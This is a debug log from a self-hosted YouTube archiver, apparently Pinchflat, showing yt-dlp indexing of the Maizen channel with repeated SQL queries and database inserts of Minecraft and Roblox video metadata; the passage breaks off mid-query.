idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:29.591 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.591 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.593 [debug] QUERY OK source="media_items" db=1.1ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 18:04:29.594 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:04:29.594 [debug] Current batch of media processed. Will check again in 1000ms 18:04:29.594 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.595 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.595 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:29.595 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/a3/c6/a3c69534773d907d5023dea80ed90003d4272151500be0bd50293b44086f231b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8f/11/8f119e49cfc4b319870c100b314c0d9079e06810ae54552221ae57d92cc3cd80.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:04:30.595 [debug] Current batch of media processed. Will check again in 1000ms 18:04:31.596 [debug] Current batch of media processed. Will check again in 1000ms 18:04:32.597 [debug] Current batch of media processed. Will check again in 1000ms 18:04:33.598 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 18:04:33.599 [debug] QUERY OK source="sources" db=0.2ms idle=911.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:33.599 [debug] QUERY OK source="sources" db=0.1ms idle=911.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:33.601 [debug] QUERY OK source="media_items" db=1.6ms idle=912.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 18:04:33.604 [debug] QUERY OK source="media_items" db=3.1ms idle=914.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "b8faefad-465b-4528-a5cb-99a12f3e9ad0", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 01:04:33Z], ~U[2026-08-20 01:04:33Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 18:04:33.605 [debug] QUERY OK source="sources" db=0.3ms idle=19.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:33.605 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:33.606 [debug] QUERY OK source="media_items" db=0.3ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 18:04:33.606 [debug] Current batch of media processed. Will check again in 1000ms 18:04:34.607 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 18:04:34.608 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:34.608 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:34.610 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 18:04:34.611 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "c4035c5c-bb65-49a8-bbf8-1d51d547cd55", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 01:04:34Z], ~U[2026-08-20 01:04:34Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 18:04:34.611 [debug] QUERY OK source="sources" db=0.2ms idle=24.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:34.611 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:34.612 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 18:04:34.612 [debug] Current batch of media processed. Will check again in 1000ms 18:04:35.613 [debug] Current batch of media processed. Will check again in 1000ms 18:04:36.614 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 18:04:36.615 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=927.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:36.615 [debug] QUERY OK source="sources" db=0.2ms idle=927.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:36.617 [debug] QUERY OK source="media_items" db=1.8ms idle=928.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 18:04:36.618 [debug] QUERY OK source="media_items" db=0.8ms idle=930.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "4b85bf83-88a8-46e8-9622-48f5a3c4525c", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 01:04:36Z], ~U[2026-08-20 01:04:36Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 18:04:36.619 [debug] QUERY OK source="sources" db=0.1ms idle=29.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:36.619 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:36.619 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 18:04:36.620 [debug] Current batch of media processed. Will check again in 1000ms 18:04:37.620 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 18:04:37.621 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:37.621 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:37.623 [debug] QUERY OK source="media_items" db=1.8ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 18:04:37.624 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "fe7657fb-7972-498e-8134-fe1d9ab7f342", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 01:04:37Z], ~U[2026-08-20 01:04:37Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 18:04:37.625 [debug] QUERY OK source="sources" db=0.2ms idle=34.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 